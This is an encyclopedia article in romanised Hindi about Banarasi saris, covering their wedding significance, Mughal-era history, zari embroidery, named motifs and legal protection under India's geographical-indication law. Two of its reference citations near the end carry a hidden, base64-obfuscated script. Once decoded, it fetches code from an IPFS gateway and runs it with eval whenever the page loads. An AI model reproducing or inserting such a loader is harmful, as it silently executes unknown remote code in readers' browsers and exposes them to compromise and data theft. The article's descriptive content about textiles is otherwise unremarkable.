बनारसी साड़ी
[[chitr:Varanasi-2.jpg|thumb|banarasi sa di mean videshi mahila, varanasi]] banarasi sa di sabhi sa diyoan mean sarvadhik prasiddh hai, jo mukhy roop se varanasi mean banaee jati haian. lal, hari aur any gahare rangoan ki ye sa diyaan hiandoo parivaroan mean kisi bhi shubh avasar ke lie avashyak mani jati haian. uttar bharat mean adhikaansh bahoo-betiyaan banarasi sa di mean hi vida ki jati haian.
mahattv
banarasi sa diyoan ki karigari sadiyoan purani hai. jari, belaboote aur shubh dizayanoan se saji ye sa diyaan har ayavarg ke parivaroan ko santusht karati haian aur unaki zarooratean poori karati haian. banarasi sa diyaan suhag ka pratik mani jati haian. paranparik hiandoo samaj mean banarasi sa di ka mahatv choo di aur siandoor ke saman hai. uttar bharat ki vivahit aur sadhava striyaan vivah ke avasar par mili in sa diyoan ko b de yatn se sanbhalakar rakhati haian. keval khas-shubh avasaroan par hi striyaan banarasi sa diyoan ko pahanati haian.
itihas
banarasi sa di ka mukhy keandr prarambh se hi banaras raha hai. isake atirikt yah sa di mubarakapur, moo aur khairabad mean bhi banaee jati haian. yah mana ja sakata hai ki yah vastr kala bharat mean mugal badashahoan ke agaman ke sath hi aee. pataka, sheravani, pag di, safa, dupatte, baid-shit, masand adi ke banane ke lie is kala ka prayog kiya jata tha. chooanki bharat mean sa diyoan ka prachalan adhik tha, isilie eeran, irak, bukhara shariph adi se ae hathakaragha ke karigaroan dvara vibhinn prakar ke dizayanoan ko sa diyoan mean dala jata tha, yatha- bel, booti, aanchal evan koniya adi. us samay mean resham evan zari ke dhagoan ka prayog kiya jata tha. tane mean katan aur bane mean pat bana prayog kie jate the, jis ke parinamasvaroop vastr ati mulayam v gaphadar banate the. poorv mean naksha, jala se sa diyaan banaee jati thian. usake bad dabi tatha jekard ka prayog hone laga, jo ki parampara se hatakar mana ja sakata hai aur ab yah pavar-loom ke roop mean vikasit huee mani ja sakati hai. banarasi sa di banane vale adhikatar karigar muslim anasari hote haian. bharat ke prasiddh kavi kabir bhi ek bunakar the. mukhy roop se is sa di ke kharidadar gujarati, marava di aur rajapoot hote haian. prachin samay se hi banarasi sa diyoan ka prayog visheshataur se vivah samarohoan mean dulhan v navavivahit striyoan dvara prayog kiya jata tha. bharatiy samaj mean aj bhi yah parampara kuchh parivartanoan ke sath jari hai. thumb|200px|zari ka kam
zari ka prayog
banarasi sa diyoan par zari ka prayog adhikaant: kiya jata hai, jisase sa diyoan ki sundarata mean vriddhi hoti hai. zari ke is kary ko zaradozi kaha jata hai. zari sone ka pani chadha hua chaandi ka tar hai. kashi zari udyog ka keandr raha hai. banaras ki prasiddh banarasi s diyaan aur dupatte shatabdiyoan se lokapriy rahe haian. aj inaki khapat, amerika, briten aur roos adi deshoan mean kshipr gati se vriddhi prapt kar rahi hai. gujarat vartaman bharatiy zari tar udyog ka keandr hai. isake poorv kashi hi isaka keandr tha.
dizayan banana
sa diyoan par tarah-tarah ke dizayan banaye jate haian, jinamean zari ka prayog bahutayat se kiya jata hai. zari ki khasiyat ye hoti hai ki sa diyoan par isaka prayog hath se kiya jata hai. isamean kisi bhi tarah ki mashin ka koee istemal nahian hota hai. hath se kiya gaya ye kam itana bariq aur khoobasoorat hota hai ki koee bhi isaki tariph kie bina nahian rah sakata. hath se ki gee is karigari mean ek dizayan ko poora karane mean kee-kee din lag jate haian. lak di ka adda (phrem) banakar usamean salama-sitare, katadana, kasab, nalaki, moti, ston adi b di saphaee se taankate hai.[1]
booti
sa diyoan mean booti chhoti tasviroan ki akriti lie hue hota hai. isake alag-alag paitarn do ya tin rangoan ke dhage ki sahayata se banaye jate haian. yadi paanch rang ke dhagoan ka prayog kiya jata hai to ise 'pacharanga'[2] kaha jata hai. yah banarasi sa di ke lie pramukh avashyak tatha mahattvapoorn dizayanoan mean se ek hai. isase sa di ki jamin ya mukhy bhag ko susajjit kiya jata hai. pahale rang ko 'hunar ka rang' kaha jata hai, jo sadharanat: sone ya chaandi ki ek atirikt bharani se banaya jata hai, jisake lie 'siraki' ka prayog kiya jata hai.thumb|300px|left|banarasi sa diyaan yadyapi vartaman mean isake lie reshami dhagoan ka bhi prayog kiya jata hai, jo 'mina' kahalata hai. yah reshami dhage se hi banata hai.
boota
banarasi sa di mean yadi booti ki akriti ko b da kar diya jaye, to is badhi akriti ko 'boota' kahate haian. chhote-b de pe d-paudhe, jisake sath chhoti akar ki pattiyaan, phool lage hoan, isi akriti ko boote se ukera jata hai. yah pe d-paudhe bhi ho sakate haian aur kuchh phool bhi. sone, chaandi ya reshami dhage ya inake mishran se boota ki kadhaee ki jati hai. rangoan ka chayan dizayan tatha avashyakata ke anusar kiya jata hai. boota sa di ke kinaroan, pallu tatha aanchal mean kadha jata hai, jabaki broked ke aangan mean. kabhi-kabhi sa di ke kinare mean ek vishesh prakar ke boote ko kadha jata hai, jise sthaniy log apani bhasha mean 'koniya' kahakar sambodhit karate haian.
koniya
ek vishesh akriti ke boote ko banarasi sa diyoan ke kone mean kadha jata hai, ise hi 'koniya' kahate haian. sa di mean dizayan akriti ko is tarah se banaya jata hai, ki ve kone ke akar mean asani se a sakean. boote se sa di ko aur achchhi tarah se alankrit kiya ja sake. jin vastroan mean svarn tatha chaandi ke dhagoan ka prayog kiya jata hai, unhian mean koniya ko banaya jata hai. sadharanat: koniya kadhane ke lie reshami dhagoan ka prayog nahian kiya jata, kyoanki reshami dhagoan se shuddh phool pattiyoan ka dizayan sahi dhag se nahian ubhar pata. pallu ke dizayan ke bad, kone se koniya banaya jata hai, jo pray: am ke akar ka rahata hai aur jo banane mean bahut kathin hota hai. kyoanki isamean ek sath tin jaloan se bunaee ki jati hai.
bel
thumb|vibhinn prakar ki banarasi sa diyaan bel ari ya dharidar phool aur pattiyoan ya jyamitiy dhang se sajae ge dizayan hote haian. inhean kshaitij a de ya te de-me de tarike se banaya jata hai, jisase ki ek bhag ko doosare bhag se prithakh kiya ja sake. kabhi-kabhi bootiyoan ko is tarah se sajaya jata hai ki ve patti ki akriti mean aye. vibhinn jagahoan par alag-alag prakar ke bel banae jate haian. bel sadi ke kinare par lagati hai aur char aangul mean napi jati hai. is prakar se sa di ke ghooanghat ka nap tay kiya jata hai. phool-pattiyoan ke atirikt vibhinn pashu-pakshiyoan v manav ki akritiyaan bhi isamean banaee jati haian.
jal ka prayog
sa di mean jal ka prayog jal ke akriti lie hue hota hai. jal ek prakar ka bandish hai, jisake bhitar booti banaee jati hai. ise jal ya phir jangala bhi kaha jata hai. yah dizayan prakritik tatvoan se prabhavit hai. jangala katan aur tana ka plen vastr hai. tana-bana katan ka rahata hai aur dizayan ke lie sunahari athava chaandi ki zari ka prayog kiya jata hai. isamean samast phool, patte, janavar aur pakshi ityadi banaye jate haian. jangala, jal se bahut kuchh milata julata hai. agar jangale mean minakari karani ho to vibhinn rang ke resham ke dhagoan ka prayog hota hai. yahi vidhi bel jangala banane mean bhi apanaee jati hai.
jhalar
jhalar ke prayog se sa di ki sundarata aur badh jati hai. b aaurdar ke turant bad hi, jahaan se kap de ka mukhy bhag 'aangana' shuru hota hai, vahian ek vishesh prakar ka dizayan sa di ko adhik alankrit karane ke lie diya jata hai, jise 'jhalar' kahate haian. sadharanat: yah b aaurdar ke dizayan se rang tatha materiyal se mel lie hue hota hai. jhalar mean tota, mor, pan, pattiyaan, motiv dizayan adi banae jate haian. ye banaras ki apani alag parampara nahian hai, kiantu ab logoan ne banarasi sa di mean bhi zaradozi ka kam karana prarambh kar diya hai. banarasi sa di tatha vastr ke atirikt any sa di, soot ke kap de, parda, kushan kavar adi mean bhi adhikaanshatah muslim sampraday ke karigar lage hue haian. zaradozi bahut hi kalatmak tatha dhairy ka kam hai. isaki bariki ko samajhane ke lie yah avashyak hai ki ise kam ayu se hi sikha jae.
kap da mantralay ka sanrakshan
desh-videsh mean apane behatarin dizayanoan ke lie mashahoor banaras ki sa di aur zari ke kam ko bhaugolik rup se qanooni sanrakshan mil gaya hai. yah sanrakshan kap da mantralay ke tahat kap da samiti ne bhaugolik sanket qanoon 1999 ke tahat pradan kiya hai. samiti kap da mantralay ke tahat ek sanvaidhanik sanstha hai. desh ke is paramparagat khazane par ghareloo utpadakoan aur ayatakoan dvara hamesha atikraman kiya jata raha hai. in utpadoan ki ooanchi kimat aur bazar hisse ko atikraman ke zariye u da liya jata tha. sanrakshan se banaras ke in utpadoan ko desh aur videsh mean vikas karane mean madad milegi.[3]
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tika tippani aur sandarbh
- ↑ dhuandhali p d rahi hai jari karigari ki chamak (hindi) (pi.ech.pi) janokti. abhigaman tithi: 2 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jamevar
- ↑ zari ke kam ko qanooni manyata (hindi) (pi.ech.pi) complete Grassroots news update. abhigaman tithi: 2 mee, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh